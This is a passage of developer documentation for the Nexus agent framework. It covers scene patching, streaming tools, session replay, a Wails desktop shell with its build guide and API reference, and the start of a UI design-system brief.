• Linearization. Concurrent patches (parent + sub-agent, two parallel sub-agents) serialize through the store mutex. First patch at a given key wins; later patches see post-first-patch state.

Patcher

Patches merge through a Patcher implementation. The default is ShallowMerge:

• Map patch + map content → key-by-key merge, patch keys overwrite.
• Anything else → patch replaces content entirely.

Schema-specific renderers that need richer semantics can swap in their own Patcher via MemoryStore.WithPatcher.

Tool surface

nexus.scene registers five tools the LLM uses to manipulate scenes:

Persistence

• Per-patch JSONL append to scenes.jsonl — the durable source of truth for time-travel reconstruction.
• Full state snapshot to scenes.json on Shutdown — what a clean restart loads to pick up where the prior run left off.

Sessions configured to drop scene history can compact scenes.jsonl to the current state only; correctness does not depend on a complete log.

Configuration

See nexus.scene in the configuration reference. No config keys today — activate the plugin and the default tools register at boot.

Streaming Tools

A standard Nexus tool is request-response: an agent emits tool.invoke, the tool runs, the tool emits tool.result. For long-running operations that produce incremental output, the agent has to wait for the whole call to complete — UIs and observability collectors see nothing in between.

pkg/streamtool defines the contract a tool implements when it wants to publish intermediate output while it runs.

When to use it

A tool should be channel-aware when:

• The work takes more than a few seconds.
• It produces meaningful intermediate output a consumer might render (token stream, report sections, file-by-file progress).
• It can be cancelled cleanly.

For quick request-response operations, the standard tool interface is fine.

Contract

type ChannelTool interface {
    Name() string
    Stream(ctx context.Context, input map[string]any) (<-chan ToolEvent, error)
}

type ToolEvent struct {
    Kind     Kind   // Progress / Partial / Complete / Error
    Sequence int    // Monotonic per Stream invocation, starts at 1
    Payload  any
    Progress float64 // 0.0–1.0 if known, -1 otherwise
    Err      error   // Set on KindError
}

The tool owns the channel’s lifetime: it must close the channel when work completes or ctx cancels, and it must end the stream with KindComplete or KindError.

Bridge

streamtool.Bridge(ctx, bus, tool, call) drains the channel and projects each event onto the bus:

• KindProgress → tool.stream.progress
• KindPartial → tool.stream.partial
• KindComplete → final tool.result carrying the payload
• KindError → final tool.result with the error

All projected envelopes inherit the originating tool.invoke’s ID as their Causation.ParentID automatically — the bus’s per-goroutine dispatch context handles the propagation. UIs subscribed to tool.stream.partial for live rendering, observability collectors shipping the stream to Otel, and the parent agent’s tool.result handler all see the same call linked through causation.

Bridge blocks until the channel closes or ctx cancels and returns nil on graceful completion, the stream’s error on KindError.

Wiring it into a plugin

A tool plugin keeps its Init and tool registration unchanged. In the tool.invoke handler it instantiates a ChannelTool, hands it to Bridge, and lets Bridge emit the final tool.result instead of doing that itself:

func (p *Plugin) onToolInvoke(ev engine.Event[any]) {
    call, _ := ev.Payload.(events.ToolCall)
    if call.Name != p.toolName {
        return
    }
    go func() {
        _ = streamtool.Bridge(context.Background(), p.bus, &myStreamingTool{...}, call)
    }()
}

The plugin still declares tool.stream.progress, tool.stream.partial, and tool.result in its Emissions().

Events

See tool.stream.* events in the events reference.

Replay

Given a session ID, pkg/replay reconstructs the full causation DAG and walks it. Replay is read-only and deterministic — it reads from the durable journal and the scene patch journal; it does not re-run agents, LLMs, or tools.

This is the foundation for debugging, audit trails, time-travel, and reproducibility.

API

type Replay struct {
    SessionID string
    Events    []Event       // In seq order
    Scenes    []SceneSnap   // Scene state at the requested point in time
    LastSeq   uint64
}

type Event struct {
    Seq       uint64
    ParentSeq uint64
    ParentID  string
    EventID   string
    Type      string
    AgentID   string
    Depth     int
    Vetoed    bool
    Payload   any
}

type Options struct {
    SessionsRoot  string // Engine session root (typically ~/.nexus/sessions)
    AtSeq         uint64 // Stop after this seq; zero = full journal
    IncludeVetoed bool   // Keep vetoed before:* envelopes (default true)
}

func Session(ctx context.Context, sessionID string, opts Options) (Replay, error)
func SessionAt(ctx context.Context, sessionID string, atSeq uint64, opts Options) (Replay, error)

Walking the DAG

The Replay value exposes three convenience walkers:

For richer traversal, the flat Events slice is in seq order — most custom walks are a single loop over it.

Use cases

• Debugging. A user reports an issue with a session; Session(ctx, id, opts) reconstructs the events to read what happened.
• Audit. Compliance review walks the DAG to verify what the session did. ByAgent answers “what did the analyst posture decide?”
• Time-travel. SessionAt(ctx, id, atSeq, opts) rebuilds state as it looked at atSeq. Renderers consume the returned Scenes to show historical visual state.
• Branch and fork. Replay to a point, then resume the session along a different path with a new agent message. (The engine’s existing rewind primitive consumes the DAG produced here.)

Scene reconstruction

For every session whose <session>/plugins/nexus.scene/scenes.jsonl exists, replay folds the JSONL stream through scene.ShallowMerge and returns a SceneSnap per scene at the requested point in time. Sessions without scenes return events without error.

The scene journal currently records its own per-scene mutation order, not the bus seq — AtSeq filters by the number of scene-journal lines read, not the bus dispatch seq. Improving this is a follow-up that adds a bus seq to each scene journal line.

Performance

For long sessions (thousands of events), full replay can be slow. The engine’s journal supports periodic snapshots in pkg/engine/replay.go that replay can start from; integrating snapshot recovery into pkg/replay.Session is a future optimization. Correctness does not depend on snapshots.

Desktop Shell

The desktop shell framework (pkg/desktop/) provides everything needed to embed one or more Nexus agents inside a Wails desktop application. Your application supplies agent definitions, config YAML, and a frontend — the framework handles engine lifecycle, event bridging, settings persistence, session management, and OS integration.

The framework lives inside the Nexus repository. Desktop applications that use it are built as separate Go modules that import github.com/frankbardon/nexus/pkg/desktop. A reference implementation ships at cmd/desktop/ to demonstrate the full feature set.

Architecture

flowchart TB
    subgraph App["📦 Your Wails App  (cmd/your-app/main.go)"]
        direction LR
        Run["desktop.Run(&desktop.Shell{ Agents, Assets })"]
    end

    subgraph FW["🧩 pkg/desktop  (framework)"]
        direction LR
        Shell["Shell<br/><sub>orchestrator</sub>"]
        Store["Store<br/><sub>settings + keyring</sub>"]
        Sess["Sessions<br/><sub>per-agent index</sub>"]

        subgraph EngA["Engine (agent-a)"]
            direction TB
            IOA["nexus.io.wails<br/>+ scopedRuntime"]
            PluginsA["your plugins"]
        end

        subgraph EngB["Engine (agent-b)"]
            direction TB
            IOB["nexus.io.wails<br/>+ scopedRuntime"]
            PluginsB["your plugins"]
        end

        Shell --> EngA
        Shell --> EngB
    end

    subgraph Web["🖥 Wails webview  (single process, shared)"]
        Front["Frontend JS<br/>scoped events:<br/><code>agent-a:nexus</code> · <code>agent-b:nexus</code>"]
    end

    App --> FW
    FW --> Web
    EngA <-. namespaced events .-> Front
    EngB <-. namespaced events .-> Front

    classDef app fill:#3a2d4a,stroke:#9b59b6,stroke-width:2px,color:#fff;
    classDef framework fill:#1e3a5f,stroke:#4a90e2,stroke-width:1.5px,color:#fff;
    classDef engine fill:#2d4a3e,stroke:#5fb878,stroke-width:1.5px,color:#fff;
    classDef web fill:#5f3a1e,stroke:#e2904a,stroke-width:1.5px,color:#fff;
    class Run app;
    class Shell,Store,Sess framework;
    class IOA,IOB,PluginsA,PluginsB engine;
    class Front web;

Key concepts

One engine per agent. Each agent gets its own engine.Engine instance with its own bus, plugin set, session workspace, and config. Agents never share an engine or bus — isolation is structural.

Lazy boot. Engines are created on demand when the frontend selects an agent (EnsureAgentRunning). No engine runs until the user navigates to it.

Scoped runtimes. Each agent’s nexus.io.wails plugin receives a scopedRuntime that namespaces Wails event channels by agent ID. The plugin itself is unaware of multi-agent — it talks to its Runtime interface, and the scoped wrapper handles the namespace. This means outbound events go to "{agentID}:nexus" and inbound events come from "{agentID}:nexus.input".

Config-driven event bridging. Domain events flow through the bus, not through Wails-bound Go methods. The nexus.io.wails plugin config declares exactly which events cross the bus-to-frontend boundary via subscribe (outbound) and accept (inbound) lists.

No eng.Run(). Desktop apps must use Boot/Stop directly. Run installs its own SIGINT/SIGTERM handler, which conflicts with Wails owning the process lifecycle.

Components

Lifecycle

1. desktop.Run(shell) — Configures and starts the Wails app. Blocks until the app exits.
2. onStartup — Initializes the settings store, session index, file watcher, and agent state entries. Runs session maintenance (cleanup expired, reconcile orphans).
3. Frontend selects agent — Calls EnsureAgentRunning(agentID).
4. bootAgent — Resolves ${var} placeholders in the agent’s config YAML, creates the engine via engine.NewFromBytes, registers plugin factories, installs the scoped runtime on the wails plugin, calls eng.Boot(ctx), installs bus subscriptions for session metadata and UI state, creates the session index entry.
5. Agent runs — Domain events flow between plugins and frontend through the bus bridge.
6. New session / recall — StopAgent tears down the current engine (unsubs, eng.Stop, marks session completed), then bootAgent creates a fresh engine (or one with RecallSessionID set for history replay).
7. onShutdown — Stops all running engines, closes the file watcher.

What the framework does NOT do

• Own your frontend. The framework ships a minimal base template in frontend/dist/, but you embed your own assets via Shell.Assets. Your frontend is yours — Alpine.js, React, vanilla JS, whatever fits.
• Define your domain plugins. All agent behavior comes from plugins you register in Agent.Factories. The framework only manages the nexus.io.wails plugin lifecycle.
• Restrict agent count. One agent, five agents — the framework scales. Each gets its own engine and scoped runtime.

Building Your Desktop App

This guide walks through creating a Nexus desktop application from scratch. By the end you will have a Wails app hosting a custom agent with settings, session management, and a frontend that communicates with the agent through the bus bridge.

The reference implementation at cmd/desktop/ demonstrates every feature covered here. When in doubt, consult it as the living example.

Prerequisites

• Go 1.22+
• Wails v2 CLI (go install github.com/wailsapp/wails/v2/cmd/wails@latest)
• Nexus as a Go module dependency

Project structure

A typical desktop app looks like this:

cmd/my-app/
  main.go                  # Entry point — registers agents, calls desktop.Run
  config.yaml              # Embedded Nexus config for your agent
  internal/
    myplugin/              # Your domain plugin(s)
      plugin.go
      events.go
  frontend/
    dist/                  # Your frontend assets (HTML/CSS/JS)
      index.html
  build/                   # Wails build artifacts (icons, Info.plist)

Step 1: Create your domain plugin

Your agent’s behavior lives in a standard Nexus plugin. It subscribes to events from the frontend, does work, and emits results back.

package myplugin

import (
    "github.com/frankbardon/nexus/pkg/engine"
)

type Plugin struct {
    bus    engine.EventBus
    logger engine.Logger
}

func New() engine.Plugin { return &Plugin{} }

func (p *Plugin) ID() string { return "myapp.agent.worker" }

func (p *Plugin) Init(ctx engine.PluginContext) error {
    p.bus = ctx.Bus
    p.logger = ctx.Logger
    return nil
}

func (p *Plugin) Ready() error { return nil }

func (p *Plugin) Shutdown(_ context.Context) error { return nil }

func (p *Plugin) Subscriptions() []engine.EventSubscription {
    return []engine.EventSubscription{
        {EventType: "work.request", Handler: p.handleRequest},
    }
}

func (p *Plugin) Emissions() []string {
    return []string{"work.result", "session.meta.title"}
}

func (p *Plugin) handleRequest(event engine.Event[any]) {
    payload, _ := event.Payload.(map[string]any)
    input, _ := payload["input"].(string)

    // Do your work here...

    p.bus.Emit("work.result", map[string]any{
        "output": "Processed: " + input,
    })

    // Contribute session metadata so the session list shows
    // a meaningful title instead of "Untitled".
    p.bus.Emit("session.meta.title", map[string]any{
        "title": "Work: " + input,
    })
}

Step 2: Write your agent config

The config YAML declares which plugins are active and how the nexus.io.wails plugin bridges events. Use ${var} placeholders for values that come from user settings.

# config.yaml
core:
  log_level: info
  tick_interval: 5s

  sessions:
    root: ~/.nexus/sessions
    retention: 30d
    id_format: datetime_short

plugins:
  active:
    - nexus.io.wails
    - myapp.agent.worker

  nexus.io.wails:
    # Events bridged outbound: bus -> frontend
    subscribe:
      - "work.result"
      - "ui.state.restore"
    # Events accepted inbound: frontend -> bus
    accept:
      - "work.request"
      - "ui.state.save"

  myapp.agent.worker:
    api_key: "${shell.api_key}"
    data_dir: "${data_dir}"

Config-driven bridging is explicit. Only events listed in subscribe and accept cross the bus-to-frontend boundary. If your frontend isn’t receiving an event, check these lists first.

Step 3: Write your entry point

The entry point registers agents and calls desktop.Run. Config YAML is embedded at compile time — the shipped binary has no filesystem dependency on config files.

package main

import (
    "embed"
    "log"

    "github.com/frankbardon/nexus/pkg/desktop"
    "github.com/frankbardon/nexus/pkg/engine"
    wailsio "github.com/frankbardon/nexus/plugins/io/wails"

    "my-module/cmd/my-app/internal/myplugin"
)

//go:embed all:frontend/dist
var assets embed.FS

//go:embed config.yaml
var agentConfig []byte

func main() {
    if err := desktop.Run(&desktop.Shell{
        Title:  "My App",
        Width:  1024,
        Height: 768,
        Assets: assets,
        Agents: []desktop.Agent{
            {
                ID:          "my-agent",
                Name:        "My Agent",
                Description: "Does useful work",
                Icon:        "fa-solid fa-gear",
                ConfigYAML:  agentConfig,
                Factories: map[string]func() engine.Plugin{
                    "nexus.io.wails":    wailsio.New,
                    "myapp.agent.worker": myplugin.New,
                },
                Settings: []desktop.SettingsField{
                    {
                        Key:      "shell.api_key",
                        Display:  "API Key",
                        Type:     desktop.FieldString,
                        Secret:   true,
                        Required: true,
                    },
                    {
                        Key:      "data_dir",
                        Display:  "Data Folder",
                        Type:     desktop.FieldPath,
                        Required: true,
                    },
                },
            },
        },
    }); err != nil {
        log.Fatalf("app: %v", err)
    }
}

Key registration details

• nexus.io.wails must be in Factories. The framework needs to intercept this plugin to install the scoped runtime before boot. Always register it via the factories map.
• Every plugin in plugins.active needs a factory. Either through Agent.Factories (for custom and wails plugins) or the engine’s built-in registry (for stock Nexus plugins like nexus.llm.anthropic).
• Assets is optional. If omitted (zero-value embed.FS), the framework uses its built-in base template. For anything beyond a demo, provide your own.

Step 4: Build your frontend

Your frontend communicates with the agent through scoped Wails events. The pattern:

// Create a bus helper scoped to your agent ID.
function createBus(agentID) {
    return {
        // Listen for events from the Go side.
        on(eventType, callback) {
            window.runtime.EventsOn(
                `${agentID}:nexus`,
                (envelopeJSON) => {
                    const envelope = JSON.parse(envelopeJSON);
                    if (envelope.type === eventType) {
                        callback(envelope.payload);
                    }
                }
            );
        },

        // Send an event to the Go side.
        emit(eventType, payload) {
            window.runtime.EventsEmit(
                `${agentID}:nexus.input`,
                JSON.stringify({ type: eventType, payload })
            );
        },

        // Request-response pattern: emit a request, wait for
        // a specific response event type.
        call(requestType, responseType, payload) {
            return new Promise((resolve) => {
                const off = window.runtime.EventsOnce(
                    `${agentID}:nexus`,
                    (envelopeJSON) => {
                        const envelope = JSON.parse(envelopeJSON);
                        if (envelope.type === responseType) {
                            resolve(envelope.payload);
                        }
                    }
                );
                this.emit(requestType, payload);
            });
        }
    };
}

Usage in your UI:

const bus = createBus('my-agent');

// Listen for results.
bus.on('work.result', (data) => {
    document.getElementById('output').textContent = data.output;
});

// Send a request.
document.getElementById('submit').addEventListener('click', () => {
    const input = document.getElementById('input').value;
    bus.emit('work.request', { input });
});

Calling shell methods

Shell services (settings, sessions, file dialogs) are Wails-bound Go methods on the Shell struct. Call them from JavaScript via the generated Wails bindings:

// List available agents.
const agents = await go.desktop.Shell.ListAgents();

// Boot an agent.
await go.desktop.Shell.EnsureAgentRunning('my-agent');

// Open a native file dialog.
const path = await go.desktop.Shell.PickFile('my-agent', 'Select File', '*.pdf');

// Manage sessions.
const sessions = await go.desktop.Shell.ListSessions('my-agent');
await go.desktop.Shell.NewSession('my-agent');
await go.desktop.Shell.RecallSession('my-agent', sessionID);
await go.desktop.Shell.DeleteSession('my-agent', sessionID);

Session list updates

Session list changes arrive as Wails events (not bus events):

window.runtime.EventsOn('my-agent:sessions.updated', (jsonStr) => {
    const sessions = JSON.parse(jsonStr);
    renderSessionList(sessions);
});

Step 5: Settings

Agents declare settings via Settings []SettingsField on the Agent struct. The framework handles persistence, UI rendering, and config injection.

Field types

Scope and sharing

Settings keys prefixed with shell. are stored in shell scope and shared across all agents. During config resolution, the framework checks agent scope first, then falls back to shell scope.

Common pattern: declare shell.api_key as a required secret on every agent that needs it. The user enters it once — the shell-scoped value resolves for all agents.

Settings: []desktop.SettingsField{
    {
        Key:      "shell.api_key",    // shell-scoped: shared
        Display:  "API Key",
        Type:     desktop.FieldString,
        Secret:   true,
        Required: true,
    },
    {
        Key:      "data_dir",         // agent-scoped: per-agent
        Display:  "Data Folder",
        Type:     desktop.FieldPath,
        Required: true,
    },
},

Secrets

Fields with Secret: true are stored in the OS keychain (macOS Keychain, Windows Credential Manager, Linux Secret Service) via go-keyring. The JSON settings file stores the sentinel "__keychain__" so the frontend knows a value exists without exposing it.

Required field gating

If an agent has required settings with no value and no default, the framework refuses to boot the engine. The frontend should check HasMissingRequired() and redirect to the settings page.

Config injection

${var} placeholders in config YAML are replaced with resolved settings values before the engine is created. The resolution order:

1. Agent-scoped value for the key
2. Shell-scoped value for the key (fallback)
3. Default from the SettingsField definition
4. If still unresolved and Required: true — boot fails with an error listing the missing keys

Step 6: Session management

The framework tracks session history per agent automatically.

How it works

Every bootAgent call creates a session index entry in ~/.nexus/desktop/sessions.json. Your agent contributes metadata via bus events:

The shell subscribes to these events on each engine’s bus and updates the index. The frontend receives updates via {agentID}:sessions.updated Wails events.

Session lifecycle

Cleanup

On startup, the framework removes sessions older than the configured retention period (default 30 days, configurable via session_retention_days shell setting) and reconciles orphaned engine directories.

Step 7: UI state persistence

The framework provides a mechanism for frontends to persist and restore UI state across sessions.

Save state

Emit ui.state.save from your frontend with an opaque state object:

bus.emit('ui.state.save', {
    state: {
        selectedTab: 'results',
        scrollPosition: 450,
        formData: { name: 'Jane', role: 'Engineer' }
    }
});

The shell writes this to ui-state.json in the engine session directory. Call this after meaningful UI interactions — not on every keystroke.

Restore state

On session recall, the shell emits ui.state.restore with the saved payload:

bus.on('ui.state.restore', (data) => {
    if (data.state) {
        applyUIState(data.state);
    }
});

Both events must be in the wails IO plugin’s accept/subscribe config:

nexus.io.wails:
  subscribe:
    - "ui.state.restore"
  accept:
    - "ui.state.save"

Step 8: File portal (optional)

If your agent works with files, the framework provides a standardized file access layer.

Declare directories

Add input_dir and optionally output_dir to your agent’s settings:

Settings: []desktop.SettingsField{
    {Key: "input_dir", Display: "Input Folder", Type: desktop.FieldPath, Required: true},
    {Key: "output_dir", Display: "Output Folder", Type: desktop.FieldPath},
},

Use shell methods

// List files in the agent's input directory.
const files = await go.desktop.Shell.ListFiles('my-agent', '*.pdf');

// Get the output directory (creates if needed).
const outDir = await go.desktop.Shell.OutputDir('my-agent');

// Copy a file into the input directory (drag-and-drop).
const dest = await go.desktop.Shell.CopyFileToInputDir('my-agent', '/path/to/file.pdf');

// Start watching for file changes.
go.desktop.Shell.WatchInputDir('my-agent');
window.runtime.EventsOn('my-agent:files.changed', () => {
    refreshFileList();
});

Bus events for plugins

Plugins that need file access use bus events instead of shell methods:

Adding multiple agents

Register additional agents in the Agents slice. Each gets its own engine, config, plugins, settings, and sessions:

Agents: []desktop.Agent{
    {
        ID:         "agent-a",
        Name:       "Agent A",
        ConfigYAML: configA,
        Factories:  factoriesA,
        Settings:   settingsA,
    },
    {
        ID:         "agent-b",
        Name:       "Agent B",
        ConfigYAML: configB,
        Factories:  factoriesB,
        Settings:   settingsB,
    },
},

The frontend receives scoped events per agent ("agent-a:nexus", "agent-b:nexus"). Create a bus helper per agent and switch the active one when the user navigates.

Using LLM providers

If your agent needs an LLM provider (like Anthropic), register it in the factories and reference the model in your config:

import "github.com/frankbardon/nexus/plugins/providers/anthropic"

Factories: map[string]func() engine.Plugin{
    "nexus.io.wails":      wailsio.New,
    "nexus.llm.anthropic": anthropic.New,
    "myapp.agent.worker":  myplugin.New,
},

core:
  models:
    default: quick
    quick:
      provider: nexus.llm.anthropic
      model: claude-sonnet-4-6
      max_tokens: 4096

plugins:
  active:
    - nexus.llm.anthropic
    - nexus.io.wails
    - myapp.agent.worker

  nexus.llm.anthropic:
    api_key: "${shell.api_key}"

Your plugin requests LLM completions via the bus using the model registry — see the Model Registry documentation.

Building and running

# Development mode (live reload).
cd cmd/my-app
wails dev

# Production build.
wails build

The wails dev command watches for Go and frontend changes and rebuilds automatically. Production builds produce a single binary with embedded frontend assets.

Common patterns

Session metadata from plugins

Emit session.meta.title after completing meaningful work so the session list shows useful titles:

p.bus.Emit("session.meta.title", map[string]any{
    "title": "Analysis: Q4 Revenue Report",
})

For richer session list entries, emit session.meta.preview with agent-specific summary data:

p.bus.Emit("session.meta.preview", map[string]any{
    "itemCount": 5,
    "topResult": "Jane Smith",
    "score":     0.95,
})

Output files

When your plugin writes a file, emit session.file.created so the shell and frontend can track it:

p.bus.Emit("session.file.created", map[string]any{
    "path":     outputPath,
    "filename": filepath.Base(outputPath),
    "type":     "application/json",
})

Error handling in boot

If EnsureAgentRunning returns an error, the agent status is set to "error". Common causes:

• Missing required settings — the framework lists which keys are missing. Redirect to the settings page.
• Invalid config YAML — check ${var} placeholder names match the SettingsField.Key values.
• Plugin init failure — check the plugin’s Init method for errors.

Next steps

• Desktop Shell Overview — Architecture and component details
• API Reference — All shell methods, types, and events
• Wails IO Plugin — Plugin-level configuration and manual embedding

Desktop Shell API Reference

Complete reference for the pkg/desktop/ framework types, shell methods, settings system, and event contracts.

Types

Shell

Top-level orchestrator. Pass to desktop.Run() to start the app.

type Shell struct {
    Title   string      // Window title
    Width   int         // Window width (default 900)
    Height  int         // Window height (default 720)
    Agents  []Agent     // Registered agents
    Assets  embed.FS    // Frontend assets; zero value uses built-in base template
}

Agent

Registration data for a single agent hosted by the shell.

type Agent struct {
    ID          string                            // Unique key: "my-agent"
    Name        string                            // Display name: "My Agent"
    Description string                            // Short blurb for agent selector
    Icon        string                            // Font Awesome class: "fa-solid fa-gear"
    ConfigYAML  []byte                            // Embedded Nexus config YAML
    Factories   map[string]func() engine.Plugin   // Custom plugin factories
    Settings    []SettingsField                   // User-configurable fields
}

AgentInfo

JSON-serializable projection of Agent returned by ListAgents().

type AgentInfo struct {
    ID          string `json:"id"`
    Name        string `json:"name"`
    Description string `json:"description"`
    Icon        string `json:"icon"`
    Status      string `json:"status"` // "idle", "booting", "running", "error"
}

AgentStatus

const (
    AgentStatusIdle    AgentStatus = "idle"
    AgentStatusBooting AgentStatus = "booting"
    AgentStatusRunning AgentStatus = "running"
    AgentStatusError   AgentStatus = "error"
)

SessionMeta

Shell-level metadata for a single engine session.

type SessionMeta struct {
    ID        string    `json:"id"`
    AgentID   string    `json:"agent_id"`
    Title     string    `json:"title"`
    Status    string    `json:"status"`     // "running", "completed", "failed"
    CreatedAt time.Time `json:"created_at"`
    UpdatedAt time.Time `json:"updated_at"`
    Preview   any       `json:"preview,omitempty"` // Agent-specific summary data
}

FileInfo

File entry returned by ListFiles().

type FileInfo struct {
    Name     string    `json:"name"`
    Path     string    `json:"path"`
    Size     int64     `json:"size"`
    Modified time.Time `json:"modified"`
    IsDir    bool      `json:"is_dir"`
}

Settings types

SettingsField

Declares a single configurable value for the settings UI.

type SettingsField struct {
    Key         string           // Machine key: "data_dir"
    Display     string           // Human label: "Data Folder"
    Description string           // Help text shown below the field
    Type        FieldType        // UI control type
    Secret      bool             // Stored in OS keychain, masked in UI
    Default     any              // Default value if unconfigured
    Required    bool             // Agent refuses to boot without this
    Validation  *FieldValidation // Optional constraints
    ConfigPath  string           // Template variable in config YAML
    Options     []SelectOption   // For FieldSelect only
}

FieldType

const (
    FieldString FieldType = iota // Single-line text input
    FieldPath                    // Text input + Browse button
    FieldText                    // Multiline textarea
    FieldNumber                  // Number input (optional min/max)
    FieldBool                    // Toggle switch
    FieldSelect                  // Dropdown
)

FieldValidation

type FieldValidation struct {
    Regex   string   `json:"regex,omitempty"`
    Min     *float64 `json:"min,omitempty"`
    Max     *float64 `json:"max,omitempty"`
    Message string   `json:"message,omitempty"` // Validation error message
}

SelectOption

type SelectOption struct {
    Value   string `json:"value"`
    Display string `json:"display"`
}

SettingsSchema

Top-level schema sent to the frontend for dynamic UI rendering.

type SettingsSchema struct {
    Shell  []SettingsFieldInfo            `json:"shell"`
    Agents map[string][]SettingsFieldInfo `json:"agents"`
}

SettingsFieldInfo

JSON projection of SettingsField sent to the frontend.

type SettingsFieldInfo struct {
    Key         string           `json:"key"`
    Display     string           `json:"display"`
    Description string           `json:"description,omitempty"`
    Type        string           `json:"type"`      // "string", "path", "text", "number", "bool", "select"
    Secret      bool             `json:"secret,omitempty"`
    Required    bool             `json:"required,omitempty"`
    Default     any              `json:"default,omitempty"`
    Validation  *FieldValidation `json:"validation,omitempty"`
    Options     []SelectOption   `json:"options,omitempty"`
}

Shell methods (Wails-bound)

All methods below are exposed to the frontend via Wails bindings. Call them from JavaScript as go.desktop.Shell.MethodName(args).

Agent lifecycle

Session management

OS integration

File portal

RAG ingestion

IngestState has Active []IngestEntry and Recent []IngestEntry. Each IngestEntry carries Path, Namespace, Status (active / completed / failed), Chunks, SkippedCached, and Error. The shell tracks ingest activity by subscribing to rag.ingest (priority 10, before the ingest plugin runs the synchronous work) and rag.ingest.result. In-memory only — recent history resets on shell restart.

Settings

Event contracts

Bus events (plugin to shell)

Events emitted by agent plugins that the shell subscribes to internally. These do not need to be in the wails IO plugin’s subscribe/accept config — the shell installs its own bus subscriptions.

Bus events (shell to plugin)

Bus events (frontend bridge)

These events cross the bus-to-frontend boundary and must be listed in the wails IO plugin’s subscribe/accept config.

Wails events (shell direct)

Events emitted by the shell directly via wailsruntime.EventsEmit, bypassing the bus bridge. Listen with window.runtime.EventsOn.

Settings store

Persistence

• Plaintext: ~/.nexus/desktop/settings.json — JSON file with { version, shell: {}, agents: {} } structure.
• Secrets: OS keychain via go-keyring, service name "nexus-desktop", account "{scope}.{key}".
• Sentinel: Secret fields store "__keychain__" in the JSON file so the frontend knows a value exists without exposing it.

Scope resolution

When resolving a ${var} placeholder in config YAML:

1. Check agent scope for the key
2. Fall back to shell scope
3. Fall back to SettingsField.Default
4. If still unresolved and Required: true, boot fails

Keys prefixed with shell. (e.g. shell.api_key) are always looked up in shell scope directly.

Built-in shell settings

Session index

Persisted at ~/.nexus/desktop/sessions.json.

Maintenance (runs on startup)

• Cleanup: Removes sessions older than session_retention_days from both the index and disk.
• Reconcile: Adopts orphaned engine directories (on disk but not in index) if newer than the retention cutoff. Removes stale index entries whose directories no longer exist on disk.

File watcher

Single-directory watcher using fsnotify. Debounced at 200ms.

• Only fires on Create, Remove, and Rename operations.
• Calling Watch(newDir) automatically unwatches the previous directory.
• Calling Watch("") stops watching without starting a new watch.
• Notifications arrive as {agentID}:files.changed Wails events.

Config resolution

resolveConfig() performs ${key} placeholder substitution on raw YAML bytes before engine creation. For each SettingsField:

1. If ${field.Key} appears in the YAML, resolve it
2. Shell-prefixed keys (shell.xxx) look up in shell scope directly
3. Other keys check agent scope, then fall back to shell scope
4. Unresolved required fields are collected and returned as an error
5. Unresolved optional fields are left as literal ${key} — the plugin sees the placeholder string and can handle or ignore it

Nexus Desktop Design System — Priming Brief

Paste this whole document into Claude Design as a system/priming prompt. It describes the existing desktop UI system so any new screens or components remain consistent with what’s already shipped.

What you are working on

You are designing UI for Nexus desktop apps — Go/Wails-based native apps that embed AI agents. Each desktop app hosts one or more “agents” (domain-specific AI workflows) in a consistent shell. Examples in the repo: a multi-agent reference app (hello-world + staffing-match) and a single-agent phased workflow app (tech lead).

Your job is to design UI that slots into this existing system without reinventing it. Prefer existing primitives and class recipes over new ones.

Tech stack (non-negotiable)

• Tailwind CSS via CDN (https://cdn.tailwindcss.com)
• DaisyUI 4 as the component layer (https://cdn.jsdelivr.net/npm/daisyui@4/dist/full.min.css)
• Font Awesome 6.5.1 (free, solid style by default: fa-solid)
• AlpineJS 3 for state and reactivity (Alpine.store, x-data, x-show, x-for, x-transition, x-model)
• No build step. Everything ships as a single index.html per app with inline <script> and <style>.
• No other libraries. No React, Vue, Svelte, or component kits. No CSS-in-JS.

Always use DaisyUI utility classes first (btn, card, input, alert, badge, collapse, loading, textarea, toggle, select). Fall back to raw Tailwind only for layout, spacing, and DaisyUI gaps.

Theme

• Dark theme is default and primary. <html data-theme="dark">. Light mode is not currently supported — don’t design light-first mockups.
• Semantic color tokens come from DaisyUI: primary, secondary, accent, success, warning, error, info, base-100 (app bg), base-200 (panel bg), base-300 (borders/hover), base-content (text).
• Opacity is the workhorse for hierarchy. Use text-base-content at /40 /50 /60 /80 instead of introducing new grays. Example: section headers use opacity-50, body meta uses opacity-40.
• Primary color is used sparingly — reserved for active nav items, primary CTAs, and “this is the focused thing” accents. Common active-state pattern: bg-primary/15 text-primary, icon slot bg-primary/20.
• Status colors: success = done/running-healthy, warning = booting/attention, error = failed/destructive, info = neutral context, primary = active/pulsing.

Typography

• Base font = Tailwind default sans-serif. Monospace (font-mono) is used for file paths, IDs, token counts, and code/specs.
• Section headers: text-xs font-semibold uppercase tracking-wider opacity-50 — used for “SESSIONS”, “ARTIFACTS”, “FILES”, “GENERAL”, etc.
• Page title: font-semibold text-base leading-tight in headers, text-xl font-bold for phase/view titles in main content.
• Labels: text-sm font-medium for form labels; text-xs opacity-50 for field descriptions/helper text.
• Body text: text-sm default; text-xs for meta, timestamps, counts.
• Never use custom font sizes in px. Stick to Tailwind’s text-[10px], text-xs, text-sm, text-base, text-lg, text-xl.

Layout archetypes

Two shell archetypes exist. Pick the one that matches the app and keep within it.

Archetype A — Multi-agent shell (horizontal)

┌─────┬──────────┬───────────────────┬────────┐
│ Nav │ Sessions │ Main              │ Files  │
│ 64↔ │  256px   │ flex-1            │ 288px  │
│220px│ (cond.)  │                   │(toggle)│
└─────┴──────────┴───────────────────┴────────┘

• Left nav (w-16 collapsed ↔ w-[220px] expanded, bg-base-200 border-r border-base-300): logo + agent list + settings. Each agent row is an icon with a status dot and an optional label. Active agent uses bg-primary/15 text-primary.
• Sessions panel (w-64, bg-base-200/50 border-r border-base-300): visible when an agent is active. Conditional via x-show.
• Main (flex-1): per-agent content. Header on top with title, description, and inline action buttons. The header is draggable (wails-drag).
• File browser (w-72, bg-base-200/50 border-l border-base-300): toggleable right panel rooted in the agent’s input_dir.

Archetype B — Single-agent phased shell (vertical)

┌──────────────────────────────────────────┐
│  ① ━ ② ━ ③ ━ ④ ━ ⑤     [sessions] [⚙]  │  ← phase stepper bar
├──────────┬─────────────────┬─────────────┤
│ Sessions │  Main content   │ (optional)  │
│ 224px    │  flex-1         │             │
│ (toggle) │                 │             │
├──────────┴─────────────────┴─────────────┤
│ Artifact tree (224px, left)              │
└──────────────────────────────────────────┘

• Phase stepper bar on top (bg-base-200 border-b border-base-300 px-6 py-3, also wails-drag): numbered step chips with connector lines. Active step = bg-primary text-primary-content, completed = bg-success/20 text-success with ✓, future = text-base-content/40 cursor-default.
